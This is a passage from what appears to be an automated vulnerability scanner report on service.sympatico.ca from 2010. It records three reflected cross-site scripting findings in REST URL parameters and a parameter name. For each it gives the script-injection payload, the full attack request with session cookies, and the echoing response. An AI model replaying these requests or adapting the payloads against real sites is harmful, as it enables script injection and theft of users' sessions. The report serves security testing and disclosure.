amp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images4cf9d"><script>alert(1)</script>0b2e8dc7447/buttons/bt_submit_small.gif" />
...[SNIP]...

2.126. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5e6d"><script>alert(1)</script>ab04ce413c8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttonsd5e6d"><script>alert(1)</script>ab04ce413c8/bt_submit_small.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:21 GMT
Connection: close
Set-Cookie: SMSESSION=ip2oiTNPZoILJbPXIUq6ur9nZgTRFaWCL7SxgXzFERauAfCjVwBebMBd1zORInHwAI9pwWG/6VY1qLPajbZSd7RYgOqKfqrxLi9ML85RyFV2dylfBQip8WvkC8ohH1x+HaU73BQl2jxG38l8zsQYVryMC6e43Lqqn9ZcEGCYNo6d+4iXczYlRAGfYDWvueIxHLZg6XNANvpC0ggIgiAyFBspvvNZLYmef43wyhO1xgVOaSPpq/bo73qhnNWNRs8jv8WhvRqmAoduWUksll4qUu7Q0puqjfAs7slWBKQKqQ3wl9F5gf1IXg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:21 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ce.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttonsd5e6d"><script>alert(1)</script>ab04ce413c8/bt_submit_small.gif" />
...[SNIP]...

2.127. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 766da"><script>alert(1)</script>a8dce89cee was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif766da"><script>alert(1)</script>a8dce89cee HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:24 GMT
Connection: close
Set-Cookie: SMSESSION=QHCWQhTNoy28K1Ul97ERJsuMLjjl8Cb6Oq8B/uVndlpWoGGPt7NTILI+CFV4uAAeKhnvkbQk5JCFYsZBGwMppoI9cHLGZjn23vD0terPBGeUtZbQBdroeMVb4qiau5uqMg1rjLltC9RZyWuUYxz5Qx7lC0k8CXxO+EAKuvHDHWIPBAMam6c7D+U4cOukhlqo+cMRLuuUCWSi4tl/sB8sxOcmBqsDXBB3cbwoM0DW2qE4HUSP91gjgrncou5EXPcuxkwfpE7lRPG5f83xN/e9cVYm2mxFLAFzi0ShhKoNG/uqD0JLJ1RHrQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:24 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
x.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif766da"><script>alert(1)</script>a8dce89cee" />
...[SNIP]...

2.128. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload feceb"><script>alert(1)</script>e1ad5055400 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif?feceb"><script>alert(1)</script>e1ad5055400=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:59 GMT
Connection: close
Set-Cookie: SMSESSION=yfE0rZIy1c2RfJvYbmEZbcN21X0mmaCUoEU1CXdbOLWcITo6QlVhfyXmKFX0IW189T/wD98t3H2aeG1hogFfJPpZQqzsDcKieiebC4e2zNBC0KlIMu7zgl3OY7qNbx36t/rh9myg8ws57I0GigRi3dKHblW9j8cBzjSmIW46T8ptRUh/HW7WfoYs/PxhhD92bNZYodlVXR4H/napKB7dINmxC0/HHVENX+fl1KY09CFdUEariMbWKgdZJCCy9Bazs+kz2+3zdRSxok2kEcSfrHYTLQeVvZ9OjyzRiGVTByYRBJe0BtVqGQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: 